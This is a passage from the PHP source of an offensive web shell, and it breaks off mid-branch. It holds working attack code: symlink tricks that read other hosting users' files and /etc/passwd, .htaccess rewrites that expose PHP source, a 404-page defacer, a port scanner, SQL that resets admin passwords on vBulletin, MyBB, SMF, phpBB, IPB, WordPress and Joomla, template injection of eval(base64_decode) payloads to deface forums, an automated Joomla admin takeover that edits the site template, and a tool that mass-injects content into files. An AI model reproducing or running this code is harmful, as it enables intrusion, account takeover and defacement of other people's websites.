1469 else $file="";
1470
1471 if(empty($file))
1472 exit;
1473
1474 if(!is_writable("."))
1475 echo "not writable directory";
1476
1477 $level=0;
1478
1479 for($as=0;$as<$fakedep;$as++)
1480 {
1481 if(!file_exists($fakedir))
1482 mkdir($fakedir);
1483 chdir($fakedir);
1484 }
1485
1486 while(1<$as--) chdir("..");
1487
1488 $hardstyle = explode("/", $file);
1489
1490 for($a=0;$a<count($hardstyle);$a++)
1491 {
1492 if(!empty($hardstyle[$a]))
1493 {
1494 if(!file_exists($hardstyle[$a]))
1495 mkdir($hardstyle[$a]);
1496 chdir($hardstyle[$a]);
1497 $as++;
1498 }
1499 }
1500 $as++;
1501 while($as--)
1502 chdir("..");
1503
1504 @rmdir("fakesymlink");
1505 @unlink("fakesymlink");
1506
1507 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
1508
1509 while(1)
1510 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
1511 else $num++;
1512
1513 @unlink("fakesymlink");
1514 mkdir("fakesymlink");
1515
1516 echo '<CENTER>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</CENTER>';
1517 }
1518 else
1519 echo '<CENTER>Cannot Create Symlink</CENTER>';
1520}
1521else if(isset($_REQUEST['404new']))
1522{
1523 ?>
1524 <form>
1525 <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
1526 <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
1527 </br>
1528 </form>
1529 <?php
1530}
1531else if(isset($_REQUEST['404page']))
1532{
1533 $url = $_SERVER['REQUEST_URI'];
1534 $path=explode('/',$url);
1535 $url =str_replace($path[count($path)-1],'',$url);
1536 if(isset($_POST['message']))
1537 {
1538 if($myfile = fopen(".htaccess", "a"))
1539 {
1540 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1541 if($myfilee = fopen("404.html", "w+"))
1542 {
1543 fwrite($myfilee, $_POST['message']);
1544 }
1545 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1546 }
1547 else
1548 echo "<center>Cannot Set 404 Page</center>";
1549 }
1550 else if(strlen($ind) != 0)
1551 {
1552 if($myfile = fopen(".htaccess", "a"))
1553 {
1554 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1555
1556 if($myfilee = fopen("404.html", "w+"))
1557 {
1558 fwrite($myfilee, base64_decode($ind));
1559
1560 fclose($myfilee);
1561 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1562 }
1563 fclose($myfile);
1564 }
1565 else
1566 {
1567 echo "<center>Cannot Set 404 Page</center>";
1568 }
1569 }
1570 else
1571 echo "<center>Nothing Specified in the shell</center>";
1572}
1573else if(isset($_GET["domains"]))
1574{
1575 ?><center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center><?php
1576}
1577else if(isset($_GET["symlink"]))
1578{
1579 $d0mains = @file("/etc/named.conf");
1580 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1581 $path=explode('/',$url);
1582 $url =str_replace($path[count($path)-1],'',$url);
1583 if($d0mains)
1584 {
1585 @mkdir("dhanush",0777);
1586 @chdir("dhanush");
1587 execmd("ln -s / root");
1588 $file3 = 'Options all
1589 DirectoryIndex Sux.html
1590 AddType text/plain .php
1591 AddHandler server-parsed .php
1592 AddType text/plain .html
1593 AddHandler txt .html
1594 Require None
1595 Satisfy Any
1596 ';
1597 $fp3 = fopen('.htaccess','w');
1598 $fw3 = fwrite($fp3,$file3);
1599 @fclose($fp3);
1600 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
1601
1602 $dcount = 1;
1603 foreach($d0mains as $d0main)
1604 {
1605 if(eregi("zone",$d0main))
1606 {
1607 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1608 flush();
1609
1610 if(strlen(trim($domains[1][0])) > 2)
1611 {
1612 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1613
1614 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user['name']."</font></td><td><a href=".$url."dhanush/root/home/".$user['name']."/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
1615 $dcount++;
1616 }
1617 }
1618
1619 }
1620 echo "</table>";
1621 }
1622 else
1623 {
1624 if(stristr(php_uname(),"Linux"))
1625 {
1626 ?>
1627 <div style="float:left;position:fixed;">
1628 <form>
1629 <table cellpadding="9">
1630 <tr>
1631 <th colspan="2">Get User Name</th>
1632 </tr>
1633 <tr>
1634 <td>Enter Website Name :</td>
1635 <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
1636 </tr>
1637 <tr>
1638 <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
1639 </tr>
1640 <tr>
1641 <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
1642 </tr>
1643 </table>
1644 </form>
1645 </div>
1646 <?php
1647 $TEST=@file('/etc/passwd');
1648 if ($TEST)
1649 {
1650 @mkdir("dhanush",0777);
1651 @chdir("dhanush");
1652 execmd("ln -s / root");
1653 $file3 = 'Options all
1654 DirectoryIndex Sux.html
1655 AddType text/plain .php
1656 AddHandler server-parsed .php
1657 AddType text/plain .html
1658 AddHandler txt .html
1659 Require None
1660 Satisfy Any
1661 ';
1662 $fp3 = fopen('.htaccess','w');
1663 $fw3 = fwrite($fp3,$file3);
1664 @fclose($fp3);
1665
1666 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1667
1668 $dcount = 1;
1669 $file = fopen("/etc/passwd", "r");
1670 //Output a line of the file until the end is reached
1671 while(!feof($file))
1672 {
1673 $s = fgets($file);
1674 $matches = array();
1675 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1676 $matches = str_replace("home/","",$matches[1]);
1677 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1678 continue;
1679 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1680 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1681 $dcount++;
1682 }
1683 fclose($file);
1684
1685 echo "</table>";
1686 }
1687 else
1688 {
1689 @mkdir("dhanush",0777);
1690 @chdir("dhanush");
1691 execmd("ln -s / root");
1692 $file3 = 'Options all
1693 DirectoryIndex Sux.html
1694 AddType text/plain .php
1695 AddHandler server-parsed .php
1696 AddType text/plain .html
1697 AddHandler txt .html
1698 Require None
1699 Satisfy Any
1700 ';
1701 $fp3 = fopen('.htaccess','w');
1702 $fw3 = fwrite($fp3,$file3);
1703 @fclose($fp3);
1704
1705 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1706
1707 $temp = "";
1708 $val1 = 0;
1709 $val2 = 1000;
1710 for(;$val1 <= $val2;$val1++)
1711 {
1712 $uid = @posix_getpwuid($val1);
1713 if ($uid)
1714 $temp .= join(':',$uid)."\n";
1715 }
1716 echo '<br/>';
1717 $temp = trim($temp);
1718
1719 $file5 = fopen("test.txt","w");
1720 fputs($file5,$temp);
1721 fclose($file5);
1722
1723 $dcount = 1;
1724 $file = fopen("test.txt", "r");
1725 while(!feof($file))
1726 {
1727 $s = fgets($file);
1728 $matches = array();
1729 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1730 $matches = str_replace("home/","",$matches[1]);
1731 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1732 continue;
1733 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1734 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1735 $dcount++;
1736 }
1737 fclose($file);
1738 echo "</table>";
1739 unlink("test.txt");
1740 }
1741 }
1742 else
1743 echo "<center><font size=4 >Cannot create Symlink</font></center>";
1744 }
1745}
1746else if(isset($_GET['host']) && isset($_GET['protocol']))
1747{
1748 echo "Open Ports: ";
1749 $host = $_GET['host'];
1750 $proto = $_GET['protocol'];
1751 $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
1752 for($current = 0; $current <= 23; $current++)
1753 {
1754 $currents = $myports[$current];
1755 $service = getservbyport($currents, $proto);
1756 // Try to connect to port
1757 $result = fsockopen($host, $currents, $errno, $errstr, 1);
1758 // Show results
1759 if($result)
1760 echo "<font class=txt>$currents, </font>";
1761 }
1762}
1763else if(isset($_REQUEST['forumpass']))
1764{
1765 $localhost = $_GET['f1'];
1766 $database = $_GET['f2'];
1767 $username = $_GET['f3'];
1768 $password = $_GET['f4'];
1769 $prefix = $_GET['prefix'];
1770 $newpass = $_GET['newpass'];
1771 $uid = $_GET['uid'];
1772
1773 if($_GET['forums'] == "vb")
1774 {
1775 $newpass = $_GET['newipbpass'];
1776 $uid = $_GET['ipbuid'];
1777 $con = mysql_connect($localhost,$username,$password);
1778 $db = mysql_select_db($database,$con);
1779 $salt = "eghjghrtd";
1780 $newpassword = md5(md5($newpass) . $salt);
1781 if($prefix == "" || $prefix == null)
1782 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1783 else
1784 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1785 if($sql)
1786 {
1787 mysql_close($con);
1788 echo "<font class=txt>Password Changed Successfully</font>";
1789 }
1790 else
1791 echo "Cannot Change Password";
1792 }
1793 else if($_GET['forums'] == "mybb")
1794 {
1795 $newpass = $_GET['newipbpass'];
1796 $uid = $_GET['ipbuid'];
1797 $con = mysql_connect($localhost,$username,$password);
1798 $db = mysql_select_db($database,$con);
1799 $salt = "jeghj";
1800 $newpassword = md5(md5($salt).md5($newpass));
1801 if($prefix == "" || $prefix == null)
1802 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1803 else
1804 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1805 if($sql)
1806 {
1807 mysql_close($con);
1808 echo "<font class=txt>Password Changed Successfully</font>";
1809 }
1810 else
1811 echo "Cannot Change Password";
1812 }
1813 else if($_GET['forums'] == "smf")
1814 {
1815 $newpass = $_GET['newipbpass'];
1816 $uid = $_GET['ipbuid'];
1817 $con = mysql_connect($localhost,$username,$password);
1818 $db = mysql_select_db($database,$con);
1819
1820 if($prefix == "" || $prefix == null)
1821 {
1822 $result = mysql_query("select member_name from smf_members where id_member = $uid");
1823 $row = mysql_fetch_array($result);
1824 $membername = $row['member_name'];
1825 $newpassword = sha1(strtolower($membername).$newpass);
1826 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
1827 }
1828 else
1829
1830 {
1831 $result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
1832 $row = mysql_fetch_array($result);
1833 $membername = $row['member_name'];
1834 $newpassword = sha1(strtolower($membername).$newpass);
1835 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
1836 }
1837 if($sql)
1838 {
1839 mysql_close($con);
1840 echo "<font class=txt>Password Changed Successfully</font>";
1841 }
1842 else
1843 echo "Cannot Change Password";
1844 }
1845 else if($_GET['forums'] == "phpbb")
1846 {
1847 $newpass = $_POST['newipbpass'];
1848 $uid = $_POST['ipbuid'];
1849 $con = mysql_connect($localhost,$username,$password);
1850 $db = mysql_select_db($database,$con);
1851
1852 $newpassword = md5($newpass);
1853 if(empty($prefix) || $prefix == null)
1854 $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
1855 else
1856 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
1857 if($sql)
1858 {
1859 mysql_close($con);
1860 echo "<font class=txt>Password Changed Successfully</font>";
1861 }
1862 else
1863 echo "Cannot Change Password";
1864 }
1865 else if($_GET['forums'] == "ipb")
1866 {
1867 $newpass = $_POST['newipbpass'];
1868 $uid = $_POST['ipbuid'];
1869 $con = mysql_connect($localhost,$username,$password);
1870 $db = mysql_select_db($database,$con);
1871 $salt = "eghj";
1872 $newpassword = md5(md5($salt).md5($newpass));
1873 if($prefix == "" || $prefix == null)
1874 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1875 else
1876 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1877 if($sql)
1878 {
1879 mysql_close($con);
1880 echo "<font class=txt>Password Changed Successfully</font>";
1881 }
1882 else
1883 echo "Cannot Change Password";
1884 }
1885 else if($_GET['forums'] == "wp")
1886 {
1887 $uname = $_GET['uname'];
1888 $con = mysql_connect($localhost,$username,$password);
1889 $db = mysql_select_db($database,$con);
1890
1891 $newpassword = md5($newpass);
1892 if($prefix == "" || $prefix == null)
1893 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1894 else
1895 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1896 if($sql)
1897 {
1898 mysql_close($con);
1899 echo "<font class=txt>Password Changed Successfully</font>";
1900 }
1901 else
1902 echo "Cannot Change Password";
1903 }
1904 else if($_GET['forums'] == "joomla")
1905 {
1906 $newjoomlapass = $_GET['newjoomlapass'];
1907 $joomlauname = $_GET['username'];
1908 $con = mysql_connect($localhost,$username,$password);
1909 $db = mysql_select_db($database,$con);
1910
1911 $newpassword = md5($newjoomlapass);
1912 if($prefix == "" || $prefix == null)
1913 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$joomlauname' where name = 'Super User'");
1914 else
1915 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$joomlauname' where name = 'Super User' OR name = 'Administrator'");
1916 if($sql)
1917 {
1918 mysql_close($con);
1919 echo "<font class=txt>Password Changed Successfully</font>";
1920 }
1921 else
1922 echo "Cannot Change Password";
1923 }
1924}
1925else if(isset($_POST['forumdeface']))
1926{
1927 $localhost = $_POST['f1'];
1928 $database = $_POST['f2'];
1929 $username = $_POST['f3'];
1930 $password = $_POST['f4'];
1931 $index = $_POST['index'];
1932 $prefix = $_POST['tableprefix'];
1933
1934 if($_POST['forumdeface'] == "vb")
1935 {
1936 $con =@ mysql_connect($localhost,$username,$password);
1937 $db =@ mysql_select_db($database,$con);
1938 $index=str_replace('"','\\"',$index);
1939 $attack = "{\${eval(base64_decode(\'";
1940 $attack .= base64_encode("echo \"$index\";");
1941 $attack .= "\'))}}{\${exit()}}</textarea>";
1942 if($prefix == "" || $prefix == null)
1943 $query = "UPDATE template SET template = '$attack'";
1944 else
1945 $query = "UPDATE ".$prefix."template SET template = '$attack'";
1946 $result =@ mysql_query($query,$con);
1947 if($result)
1948 echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
1949 else
1950 echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
1951 }
1952 else if($_POST['forumdeface'] == "mybb")
1953 {
1954 $con =@ mysql_connect($localhost,$username,$password);
1955 $db =@ mysql_select_db($database,$con);
1956 $attack = "{\${eval(base64_decode(\'";
1957 $attack .= base64_encode("echo \"$index\";");
1958 $attack .= "\'))}}{\${exit()}}</textarea>";
1959 $attack = str_replace('"',"\\'",$attack);
1960
1961 if($prefix == "" || $prefix == null)
1962 $query = "UPDATE mybb_templates SET template = '$attack'";
1963 else
1964 $query = "UPDATE ".$prefix."templates SET template = '$attack'";
1965 $result =@ mysql_query($query,$con);
1966 if($result)
1967 echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
1968 else
1969 echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
1970 }
1971 else if($_POST['forumdeface'] == "smf")
1972 {
1973 $head = $_POST['head'];
1974 $catid = $_POST['f5'];
1975
1976 $con =@ mysql_connect($localhost,$username,$password);
1977 $db =@ mysql_select_db($database,$con);
1978 if($prefix == "" || $prefix == null)
1979 $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1980 else
1981 $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1982 $result =@ mysql_query($query,$con);
1983 if($result)
1984 echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
1985 else
1986 echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
1987 }
1988 else if($_POST['forumdeface'] == "ipb")
1989 {
1990 $head = $_POST['head'];
1991 $catid = $_POST['f5'];
1992
1993 $IPB = "forums";
1994 $con =@ mysql_connect($localhost,$username,$password);
1995 $db =@ mysql_select_db($database,$con);
1996 if($prefix == "" || $prefix == null)
1997 $result =@mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
1998 else
1999 $result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
2000 if($result)
2001 echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
2002 else
2003 echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
2004 }
2005 else if($_POST['forumdeface'] == "wp")
2006 {
2007 $catid = $_POST['f5'];
2008 $head = $_POST['head'];
2009
2010 $con =@ mysql_connect($localhost,$username,$password);
2011 $db =@ mysql_select_db($database,$con);
2012 if($prefix == "" || $prefix == null)
2013 {
2014 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2015 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
2016 else
2017 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2018 }
2019 else
2020 {
2021 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2022 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
2023 else
2024 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2025
2026 }
2027 $result =@mysql_query($query,$con) or mysql_error();
2028 if($result)
2029 echo "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
2030 else
2031 echo "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
2032 }
2033 else if($_POST['forumdeface'] == "joomla")
2034 {
2035 $site_url = $_POST['siteurl'];
2036 $dbprefix = $_POST['tableprefix'];
2037 $dbname = $_POST['f2'];
2038 $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
2039
2040 function randomt()
2041 {
2042 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
2043 srand((double)microtime()*1000000);
2044 $i = 0;
2045 $pass = '' ;
2046
2047 while ($i <= 7)
2048 {
2049 $num = rand() % 33;
2050 $tmp = substr($chars, $num, 1);
2051 $pass = $pass . $tmp;
2052 $i++;
2053 }
2054
2055 return $pass;
2056 }
2057 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
2058 {
2059 $ar0=explode($marqueurDebutLien, $text);
2060 $ar1=explode($marqueurFinLien, $ar0[$i]);
2061 $ar=trim($ar1[0]);
2062 return $ar;
2063 }
2064 $co=randomt();
2065
2066 $link=mysql_connect($localhost,$username,$password) ;
2067 mysql_select_db($dbname,$link);
2068
2069 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
2070
2071 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
2072
2073 if ( $req )
2074 {
2075 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
2076 $data = mysql_fetch_array($req);
2077 $template_name=$data["template"];
2078
2079 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
2080 $data = mysql_fetch_array($req);
2081 $template_id=$data["extension_id"];
2082
2083 $url2=$site_url."/index.php";
2084
2085 $ch = curl_init();
2086 curl_setopt($ch, CURLOPT_URL, $url2);
2087 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2088 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2089 curl_setopt($ch, CURLOPT_HEADER, 1);
2090 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2091 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2092 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2093
2094
2095 $buffer = curl_exec($ch);
2096
2097 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
2098 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
2099
2100
2101 $url2=$site_url."/index.php";
2102 $ch = curl_init();
2103 curl_setopt($ch, CURLOPT_URL, $url2);
2104 curl_setopt($ch, CURLOPT_POST, 1);
2105 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
2106 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2107 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2108 curl_setopt($ch, CURLOPT_HEADER, 0);
2109 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2110 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2111 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2112 $buffer = curl_exec($ch);
2113
2114 $pos = strpos($buffer,"com_config");
2115 if($pos === false)
2116 {
2117 echo("<br>[-] Login Error");
2118 exit;
2119 }
2120
2121 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
2122 $ch = curl_init();
2123 curl_setopt($ch, CURLOPT_URL, $url2);
2124 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2125 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2126 curl_setopt($ch, CURLOPT_HEADER, 0);
2127 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2128 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2129
2130 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2131 $buffer = curl_exec($ch);
2132
2133 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
2134 if(!$hidden2)
2135 {
2136 echo("<br>[-] index.php Not found in Theme Editor");
2137 exit;
2138 }
2139
2140 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2141
2142 $ch = curl_init();
2143 curl_setopt($ch, CURLOPT_URL, $url2);
2144 curl_setopt($ch, CURLOPT_POST, 1);
2145 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
2146
2147 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2148 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2149 curl_setopt($ch, CURLOPT_HEADER, 0);
2150 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2151 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2152 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2153 $buffer = curl_exec($ch);
2154
2155 $pos = strpos($buffer,'<dd class="message message">');
2156 if($pos === false)
2157 {
2158 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2159 }
2160 else
2161 {
2162 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2163 }
2164 }
2165 else
2166 {
2167 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
2168 $data = mysql_fetch_array($req);
2169 $template_name=$data["template"];
2170
2171 $url2=$site_url."/index.php";
2172 $ch = curl_init();
2173 curl_setopt($ch, CURLOPT_URL, $url2);
2174 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2175 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2176 curl_setopt($ch, CURLOPT_HEADER, 1);
2177 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2178 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2179 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2180 $buffer = curl_exec($ch);
2181
2182 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
2183
2184 $url2=$site_url."/index.php";
2185 $ch = curl_init();
2186 curl_setopt($ch, CURLOPT_URL, $url2);
2187 curl_setopt($ch, CURLOPT_POST, 1);
2188 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
2189 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2190 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2191 curl_setopt($ch, CURLOPT_HEADER, 0);
2192 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2193 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2194 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2195 $buffer = curl_exec($ch);
2196
2197 $pos = strpos($buffer,"com_config");
2198
2199 if($pos === false)
2200 {
2201 echo("<br>[-] Login Error");
2202 exit;
2203 }
2204
2205 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
2206 $ch = curl_init();
2207 curl_setopt($ch, CURLOPT_URL, $url2);
2208 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2209 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2210 curl_setopt($ch, CURLOPT_HEADER, 0);
2211 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2212 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2213 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2214 $buffer = curl_exec($ch);
2215
2216 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
2217
2218 if(!$hidden2)
2219 {
2220 echo("<br>[-] index.php Not found in Theme Editor");
2221 }
2222
2223 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2224 $ch = curl_init();
2225 curl_setopt($ch, CURLOPT_URL, $url2);
2226 curl_setopt($ch, CURLOPT_POST, 1);
2227 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
2228 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2229 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2230 curl_setopt($ch, CURLOPT_HEADER, 0);
2231 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2232 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2233 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2234 $buffer = curl_exec($ch);
2235
2236 $pos = strpos($buffer,'<dd class="message message fade">');
2237 if($pos === false)
2238 {
2239 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2240 exit;
2241 }
2242 else
2243 {
2244 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2245 }
2246 }
2247 }
2248}
2249else if(isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '')
2250{
2251 $filetype = $_POST['filetype'];
2252
2253 $mode = "a";
2254
2255 if($_POST['mode'] == 'Apender')
2256 $mode = "a";
2257
2258 if($_POST['mode'] == 'Overwriter')
2259 $mode = "w";
2260
2261 if (is_dir($_POST['pathtomass']))
2262 {
2263 $lolinject = $_POST['injectthis'];
2264 $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
2265 if(substr($_POST['pathtomass'], -1) == "\\")
2266 $mypath = $_POST['pathtomass'] . "*.".$filetype;
2267 foreach (glob($mypath) as $injectj00)
2268 {
2269 if($injectj00 == __FILE__)
2270 continue;
2271 $fp=fopen($injectj00,$mode);
2272 if (fputs($fp,$lolinject))
2273 echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
2274 else
2275 echo 'failed to inject '.$injectj00.'<br>';
2276 }
2277 }
2278 else
2279 echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
2280}
2281else if(isset($_POST['mailfunction']))
2282{
2283 if($_POST['mailfunction'] == "dobombing")
